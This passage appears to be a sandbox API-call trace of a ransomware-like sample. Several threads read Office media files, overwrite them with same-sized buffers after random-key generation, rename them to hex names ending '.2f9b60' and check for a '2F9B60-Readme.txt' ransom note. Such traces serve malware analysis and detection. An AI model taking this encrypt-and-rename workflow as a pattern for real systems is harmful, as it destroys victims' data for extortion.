RtlRandomEx (in: Seed=0x38dafbd0 | out: Seed=0x38dafbd0) returned 0x21a0d7b6 [0115.200] RtlRandomEx (in: Seed=0x38dafbd0 | out: Seed=0x38dafbd0) returned 0x24b2770c [0115.200] RtlRandomEx (in: Seed=0x38dafbd0 | out: Seed=0x38dafbd0) returned 0x370c5744 [0115.200] RtlRandomEx (in: Seed=0x38dafbd0 | out: Seed=0x38dafbd0) returned 0x43114437 [0115.200] RtlRandomEx (in: Seed=0x38dafbd0 | out: Seed=0x38dafbd0) returned 0x4f4abab1 [0115.200] RtlRandomEx (in: Seed=0x38dafbd0 | out: Seed=0x38dafbd0) returned 0xf9106a9 [0115.210] ReadFile (in: hFile=0x14a0, lpBuffer=0x201500b0, nNumberOfBytesToRead=0x2424, lpNumberOfBytesRead=0x38dafbd0, lpOverlapped=0x0 | out: lpBuffer=0x201500b0*, lpNumberOfBytesRead=0x38dafbd0*=0x2424, lpOverlapped=0x0) returned 1 [0115.283] SetFilePointerEx (in: hFile=0x14a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.283] WriteFile (in: hFile=0x14a0, lpBuffer=0x2016e130*, nNumberOfBytesToWrite=0x2424, lpNumberOfBytesWritten=0x38dafbd4, lpOverlapped=0x0 | out: lpBuffer=0x2016e130*, lpNumberOfBytesWritten=0x38dafbd4*=0x2424, lpOverlapped=0x0) returned 1 [0115.601] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9760 [0115.601] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a99a0 [0115.601] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a99a0) returned 1 [0115.601] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2016e130) returned 1 [0115.601] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201500b0) returned 1 [0115.601] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868d40) returned 1 [0115.601] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0115.601] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a99a0 [0115.601] SetFilePointerEx (in: hFile=0x14a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0115.601] WriteFile (in: hFile=0x14a0, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x38dafcf0, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x38dafcf0*=0x10a, lpOverlapped=0x0) returned 1 [0115.603] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c350 [0115.603] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868d40 [0115.603] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9520 [0115.603] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9520) returned 1 [0115.603] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0115.603] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9520 [0115.603] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9640 [0115.603] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9640) returned 1 [0115.603] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868d40) returned 1 [0115.603] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0115.603] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8500 [0115.603] sprintf (in: _Dest=0x1b7d8500, _Format="%c%c" | out: _Dest="b0") returned 2 [0115.603] sprintf (in: _Dest=0x1b7d8502, _Format="%c%c" | out: _Dest="42") returned 2 [0115.603] sprintf (in: _Dest=0x1b7d8504, _Format="%c%c" | out: _Dest="4d") returned 2 [0115.603] sprintf (in: _Dest=0x1b7d8506, _Format="%c%c" | out: _Dest="07") returned 2 [0115.603] sprintf (in: _Dest=0x1b7d8508, _Format="%c%c" | out: _Dest="92") returned 2 [0115.603] sprintf (in: _Dest=0x1b7d850a, _Format="%c%c" | out: _Dest="75") returned 2 [0115.603] sprintf (in: _Dest=0x1b7d850c, _Format="%c%c" | out: _Dest="32") returned 2 [0115.604] sprintf (in: _Dest=0x1b7d850e, _Format="%c%c" | out: _Dest="3f") returned 2 [0115.604] sprintf (in: _Dest=0x1b7d8510, _Format="%c%c" | out: _Dest="e3") returned 2 [0115.604] sprintf (in: _Dest=0x1b7d8512, _Format="%c%c" | out: _Dest="4c") returned 2 [0115.604] sprintf (in: _Dest=0x1b7d8514, _Format="%c%c" | out: _Dest="6e") returned 2 [0115.604] sprintf (in: _Dest=0x1b7d8516, _Format="%c%c" | out: _Dest="b7") returned 2 [0115.604] sprintf (in: _Dest=0x1b7d8518, _Format="%c%c" | out: _Dest="b4") returned 2 [0115.604] sprintf (in: _Dest=0x1b7d851a, _Format="%c%c" | out: _Dest="4a") returned 2 [0115.604] sprintf (in: _Dest=0x1b7d851c, _Format="%c%c" | out: _Dest="63") returned 2 [0115.604] sprintf (in: _Dest=0x1b7d851e, _Format="%c%c" | out: _Dest="bd") returned 2 [0115.604] sprintf (in: _Dest=0x1b7d8520, _Format="%c%c" | out: _Dest="25") returned 2 [0115.604] sprintf (in: _Dest=0x1b7d8522, _Format="%c%c" | out: _Dest="ae") returned 2 [0115.604] sprintf (in: _Dest=0x1b7d8524, _Format="%c%c" | out: _Dest="98") returned 2 [0115.604] sprintf (in: _Dest=0x1b7d8526, _Format="%c%c" | out: _Dest="ba") returned 2 [0115.604] sprintf (in: _Dest=0x1b7d8528, _Format="%c%c" | out: _Dest="11") returned 2 [0115.604] sprintf (in: _Dest=0x1b7d852a, _Format="%c%c" | out: _Dest="6c") returned 2 [0115.604] sprintf (in: _Dest=0x1b7d852c, _Format="%c%c" | out: _Dest="c6") returned 2 [0115.604] sprintf (in: _Dest=0x1b7d852e, _Format="%c%c" | out: _Dest="17") returned 2 [0115.604] RtlInitAnsiString (in: DestinationString=0x38dafd68, SourceString="b0424d079275323fe34c6eb7b44a63bd25ae98ba116cc617" | out: DestinationString="b0424d079275323fe34c6eb7b44a63bd25ae98ba116cc617") [0115.604] RtlAnsiStringToUnicodeString (in: DestinationString=0x38dafd38, SourceString="b0424d079275323fe34c6eb7b44a63bd25ae98ba116cc617", AllocateDestinationString=1 | out: DestinationString="b0424d079275323fe34c6eb7b44a63bd25ae98ba116cc617") returned 0x0 [0115.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9860 [0115.604] wcscat (in: _Dest=0x1b7adac0, _Source="b0424d079275" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\b0424d079275") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\b0424d079275" [0115.604] wcscat (in: _Dest=0x1b7adac0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\b0424d079275.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\b0424d079275.2f9b60" [0115.605] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\b0424d079275.2f9b60", NtPathName=0x38dafd10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\b0424d079275.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0115.605] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050bd70 [0115.605] NtSetInformationFile (FileHandle=0x14a0, IoStatusBlock=0x38dafdb0, FileInformation=0x2050bd70, Length=0xa8, FileInformationClass=0xa) returned 0x0 [0115.606] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050bd70) returned 1 [0115.606] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48900) returned 1 [0115.606] NtQueryInformationFile (in: FileHandle=0x14a0, IoStatusBlock=0x38dafd78, FileInformation=0x38dafd88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x38dafd78, FileInformation=0x38dafd88) returned 0x0 [0115.606] NtSetInformationFile (FileHandle=0x14a0, IoStatusBlock=0x38dafd78, FileInformation=0x38dafd88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0115.612] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7adac0) returned 1 [0115.612] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9860) returned 1 [0115.612] FlushFileBuffers (hFile=0x14a0) returned 1 [0115.632] CloseHandle (hObject=0x14a0) returned 1 [0115.734] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86ae90 [0115.734] wcscpy (in: _Dest=0x1b86ae90, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0115.734] wcscat (in: _Dest=0x1b86ae90, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0115.734] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0115.734] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ae90) returned 1 [0115.734] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a500) returned 1 Thread: id = 1228 os_tid = 0xc78 [0115.166] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0214098.WAV" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0214098.wav")) returned 0x20 [0115.170] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0214098.WAV", dwFileAttributes=0x20) returned 1 [0115.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0214098.WAV" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0214098.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14c8 [0115.171] GetFileSizeEx (in: hFile=0x14c8, lpFileSize=0x2685f720 | out: lpFileSize=0x2685f720*=26810) returned 1 [0115.171] SetFilePointerEx (in: hFile=0x14c8, liDistanceToMove=0x68b6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.171] ReadFile (in: hFile=0x14c8, lpBuffer=0x2685f6a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2685f6e8, lpOverlapped=0x0 | out: lpBuffer=0x2685f6a0*, lpNumberOfBytesRead=0x2685f6e8*=0x4, lpOverlapped=0x0) returned 1 [0115.212] SetFilePointerEx (in: hFile=0x14c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.212] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a96a0 [0115.212] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9520 [0115.212] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202619a0 [0115.212] NtQuerySystemTime (in: CurrentTime=0x2685f5e0 | out: CurrentTime=0x2685f5e0*=132462177206734000) returned 0x0 [0115.212] RtlRandomEx (in: Seed=0x2685f5d0 | out: Seed=0x2685f5d0) returned 0x482e05e7 [0115.212] RtlRandomEx (in: Seed=0x2685f5d0 | out: Seed=0x2685f5d0) returned 0x683ae36 [0115.212] RtlRandomEx (in: Seed=0x2685f5d0 | out: Seed=0x2685f5d0) returned 0x564fd635 [0115.212] RtlRandomEx (in: Seed=0x2685f5d0 | out: Seed=0x2685f5d0) returned 0x7e57a823 [0115.212] RtlRandomEx (in: Seed=0x2685f5d0 | out: Seed=0x2685f5d0) returned 0x72d6fef4 [0115.212] RtlRandomEx (in: Seed=0x2685f5d0 | out: Seed=0x2685f5d0) returned 0x1ea5a724 [0115.212] RtlRandomEx (in: Seed=0x2685f5d0 | out: Seed=0x2685f5d0) returned 0x56df014 [0115.212] RtlRandomEx (in: Seed=0x2685f5d0 | out: Seed=0x2685f5d0) returned 0x22b0d4f3 [0115.212] RtlRandomEx (in: Seed=0x2685f5d0 | out: Seed=0x2685f5d0) returned 0x19561113 [0115.212] RtlRandomEx (in: Seed=0x2685f5d0 | out: Seed=0x2685f5d0) returned 0x141c0afd [0115.213] RtlRandomEx (in: Seed=0x2685f5d0 | out: Seed=0x2685f5d0) returned 0x121604c1 [0115.213] RtlRandomEx (in: Seed=0x2685f5d0 | out: Seed=0x2685f5d0) returned 0x41aaad2e [0115.213] RtlRandomEx (in: Seed=0x2685f5d0 | out: Seed=0x2685f5d0) returned 0x5503cdd7 [0115.213] RtlRandomEx (in: Seed=0x2685f5d0 | out: Seed=0x2685f5d0) returned 0x1f6b2ad8 [0115.213] RtlRandomEx (in: Seed=0x2685f5d0 | out: Seed=0x2685f5d0) returned 0x74685d37 [0115.213] RtlRandomEx (in: Seed=0x2685f5d0 | out: Seed=0x2685f5d0) returned 0x334969ba [0115.213] RtlRandomEx (in: Seed=0x2685f5d0 | out: Seed=0x2685f5d0) returned 0x61da5a41 [0115.213] RtlRandomEx (in: Seed=0x2685f5d0 | out: Seed=0x2685f5d0) returned 0x67cd87df [0115.213] RtlRandomEx (in: Seed=0x2685f5d0 | out: Seed=0x2685f5d0) returned 0x42a8740c [0115.213] RtlRandomEx (in: Seed=0x2685f5d0 | out: Seed=0x2685f5d0) returned 0x1c0332da [0115.213] RtlRandomEx (in: Seed=0x2685f5d0 | out: Seed=0x2685f5d0) returned 0xee3a6b5 [0115.213] RtlRandomEx (in: Seed=0x2685f5d0 | out: Seed=0x2685f5d0) returned 0x4e1f7cfb [0115.213] RtlRandomEx (in: Seed=0x2685f5d0 | out: Seed=0x2685f5d0) returned 0x143f53ae [0115.213] RtlRandomEx (in: Seed=0x2685f5d0 | out: Seed=0x2685f5d0) returned 0x4e925b78 [0115.213] RtlRandomEx (in: Seed=0x2685f5d0 | out: Seed=0x2685f5d0) returned 0x2879ff67 [0115.213] RtlRandomEx (in: Seed=0x2685f5d0 | out: Seed=0x2685f5d0) returned 0x20be3921 [0115.213] RtlRandomEx (in: Seed=0x2685f5d0 | out: Seed=0x2685f5d0) returned 0x3727b87b [0115.213] RtlRandomEx (in: Seed=0x2685f5d0 | out: Seed=0x2685f5d0) returned 0x756f344f [0115.213] RtlRandomEx (in: Seed=0x2685f5d0 | out: Seed=0x2685f5d0) returned 0x6f67d913 [0115.213] RtlRandomEx (in: Seed=0x2685f5d0 | out: Seed=0x2685f5d0) returned 0x55588ded [0115.213] RtlRandomEx (in: Seed=0x2685f5d0 | out: Seed=0x2685f5d0) returned 0x60af2045 [0115.213] RtlRandomEx (in: Seed=0x2685f5d0 | out: Seed=0x2685f5d0) returned 0x380f8b5a [0115.224] SetFilePointerEx (in: hFile=0x14c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.224] ReadFile (in: hFile=0x14c8, lpBuffer=0x20171d40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2685f640, lpOverlapped=0x0 | out: lpBuffer=0x20171d40*, lpNumberOfBytesRead=0x2685f640*=0x3c00, lpOverlapped=0x0) returned 1 [0115.285] SetFilePointerEx (in: hFile=0x14c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.285] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bea0 [0115.285] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868940 [0115.285] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263bc0 [0115.285] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263bc0) returned 1 [0115.285] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201578d0 [0115.285] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263bc0 [0115.285] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260da0 [0115.286] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260da0) returned 1 [0115.286] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868940) returned 1 [0115.286] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bea0) returned 1 [0115.286] WriteFile (in: hFile=0x14c8, lpBuffer=0x201578d0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2685f640, lpOverlapped=0x0 | out: lpBuffer=0x201578d0*, lpNumberOfBytesWritten=0x2685f640*=0x3c00, lpOverlapped=0x0) returned 1 [0115.459] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201578d0) returned 1 [0115.459] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20171d40) returned 1 [0115.460] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a9790 [0115.460] SetFilePointerEx (in: hFile=0x14c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0115.460] WriteFile (in: hFile=0x14c8, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2685f6f0, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x2685f6f0*=0x10a, lpOverlapped=0x0) returned 1 [0115.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3a0 [0115.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8687c0 [0115.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262d20 [0115.490] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262d20) returned 1 [0115.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0115.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262d20 [0115.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263020 [0115.490] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263020) returned 1 [0115.490] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8687c0) returned 1 [0115.491] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3a0) returned 1 [0115.491] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8500 [0115.491] sprintf (in: _Dest=0x1b7d8500, _Format="%c%c" | out: _Dest="7b") returned 2 [0115.491] sprintf (in: _Dest=0x1b7d8502, _Format="%c%c" | out: _Dest="7c") returned 2 [0115.491] sprintf (in: _Dest=0x1b7d8504, _Format="%c%c" | out: _Dest="9f") returned 2 [0115.491] sprintf (in: _Dest=0x1b7d8506, _Format="%c%c" | out: _Dest="b1") returned 2 [0115.491] sprintf (in: _Dest=0x1b7d8508, _Format="%c%c" | out: _Dest="17") returned 2 [0115.491] sprintf (in: _Dest=0x1b7d850a, _Format="%c%c" | out: _Dest="05") returned 2 [0115.491] sprintf (in: _Dest=0x1b7d850c, _Format="%c%c" | out: _Dest="57") returned 2 [0115.491] sprintf (in: _Dest=0x1b7d850e, _Format="%c%c" | out: _Dest="d9") returned 2 [0115.491] sprintf (in: _Dest=0x1b7d8510, _Format="%c%c" | out: _Dest="e9") returned 2 [0115.491] sprintf (in: _Dest=0x1b7d8512, _Format="%c%c" | out: _Dest="ca") returned 2 [0115.491] sprintf (in: _Dest=0x1b7d8514, _Format="%c%c" | out: _Dest="42") returned 2 [0115.491] sprintf (in: _Dest=0x1b7d8516, _Format="%c%c" | out: _Dest="ab") returned 2 [0115.491] sprintf (in: _Dest=0x1b7d8518, _Format="%c%c" | out: _Dest="b9") returned 2 [0115.491] sprintf (in: _Dest=0x1b7d851a, _Format="%c%c" | out: _Dest="e6") returned 2 [0115.491] sprintf (in: _Dest=0x1b7d851c, _Format="%c%c" | out: _Dest="9b") returned 2 [0115.491] sprintf (in: _Dest=0x1b7d851e, _Format="%c%c" | out: _Dest="43") returned 2 [0115.491] sprintf (in: _Dest=0x1b7d8520, _Format="%c%c" | out: _Dest="02") returned 2 [0115.491] sprintf (in: _Dest=0x1b7d8522, _Format="%c%c" | out: _Dest="a0") returned 2 [0115.491] sprintf (in: _Dest=0x1b7d8524, _Format="%c%c" | out: _Dest="fd") returned 2 [0115.491] sprintf (in: _Dest=0x1b7d8526, _Format="%c%c" | out: _Dest="37") returned 2 [0115.491] sprintf (in: _Dest=0x1b7d8528, _Format="%c%c" | out: _Dest="a8") returned 2 [0115.491] sprintf (in: _Dest=0x1b7d852a, _Format="%c%c" | out: _Dest="41") returned 2 [0115.491] sprintf (in: _Dest=0x1b7d852c, _Format="%c%c" | out: _Dest="8d") returned 2 [0115.492] sprintf (in: _Dest=0x1b7d852e, _Format="%c%c" | out: _Dest="79") returned 2 [0115.492] RtlInitAnsiString (in: DestinationString=0x2685f768, SourceString="7b7c9fb1170557d9e9ca42abb9e69b4302a0fd37a8418d79" | out: DestinationString="7b7c9fb1170557d9e9ca42abb9e69b4302a0fd37a8418d79") [0115.492] RtlAnsiStringToUnicodeString (in: DestinationString=0x2685f738, SourceString="7b7c9fb1170557d9e9ca42abb9e69b4302a0fd37a8418d79", AllocateDestinationString=1 | out: DestinationString="7b7c9fb1170557d9e9ca42abb9e69b4302a0fd37a8418d79") returned 0x0 [0115.492] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced97f0 [0115.492] wcscat (in: _Dest=0x1b7adac0, _Source="7b7c9fb11705" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\7b7c9fb11705") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\7b7c9fb11705" [0115.492] wcscat (in: _Dest=0x1b7adac0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\7b7c9fb11705.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\7b7c9fb11705.2f9b60" [0115.492] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\7b7c9fb11705.2f9b60", NtPathName=0x2685f710, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\7b7c9fb11705.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0115.492] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050bd70 [0115.492] NtSetInformationFile (FileHandle=0x14c8, IoStatusBlock=0x2685f7b0, FileInformation=0x2050bd70, Length=0xa8, FileInformationClass=0xa) returned 0x0 [0115.495] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050bd70) returned 1 [0115.495] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48900) returned 1 [0115.495] NtQueryInformationFile (in: FileHandle=0x14c8, IoStatusBlock=0x2685f778, FileInformation=0x2685f788, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2685f778, FileInformation=0x2685f788) returned 0x0 [0115.495] NtSetInformationFile (FileHandle=0x14c8, IoStatusBlock=0x2685f778, FileInformation=0x2685f788, Length=0x28, FileInformationClass=0x4) returned 0x0 [0115.496] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7adac0) returned 1 [0115.497] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced97f0) returned 1 [0115.497] FlushFileBuffers (hFile=0x14c8) returned 1 [0115.526] CloseHandle (hObject=0x14c8) returned 1 [0115.599] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86ac50 [0115.599] wcscpy (in: _Dest=0x1b86ac50, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0115.599] wcscat (in: _Dest=0x1b86ac50, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0115.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0115.599] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ac50) returned 1 [0115.599] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a590) returned 1 Thread: id = 1229 os_tid = 0xc7c [0115.173] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0215086.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0215086.wmf")) returned 0x20 [0115.173] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0215086.WMF", dwFileAttributes=0x20) returned 1 [0115.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0215086.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0215086.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14b8 [0115.174] GetFileSizeEx (in: hFile=0x14b8, lpFileSize=0x38effbe0 | out: lpFileSize=0x38effbe0*=7482) returned 1 [0115.174] SetFilePointerEx (in: hFile=0x14b8, liDistanceToMove=0x1d36, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.174] ReadFile (in: hFile=0x14b8, lpBuffer=0x38effb60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x38effba8, lpOverlapped=0x0 | out: lpBuffer=0x38effb60*, lpNumberOfBytesRead=0x38effba8*=0x4, lpOverlapped=0x0) returned 1 [0115.256] SetFilePointerEx (in: hFile=0x14b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.256] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a96a0 [0115.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f60 [0115.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263020 [0115.257] NtQuerySystemTime (in: CurrentTime=0x38effaa0 | out: CurrentTime=0x38effaa0*=132462177207202000) returned 0x0 [0115.257] RtlRandomEx (in: Seed=0x38effa90 | out: Seed=0x38effa90) returned 0x61aff400 [0115.257] RtlRandomEx (in: Seed=0x38effa90 | out: Seed=0x38effa90) returned 0x61049100 [0115.257] RtlRandomEx (in: Seed=0x38effa90 | out: Seed=0x38effa90) returned 0x2dadcdb6 [0115.257] RtlRandomEx (in: Seed=0x38effa90 | out: Seed=0x38effa90) returned 0x4f1dba0f [0115.257] RtlRandomEx (in: Seed=0x38effa90 | out: Seed=0x38effa90) returned 0x52d99060 [0115.257] RtlRandomEx (in: Seed=0x38effa90 | out: Seed=0x38effa90) returned 0x160739f7 [0115.257] RtlRandomEx (in: Seed=0x38effa90 | out: Seed=0x38effa90) returned 0xabdbff7 [0115.257] 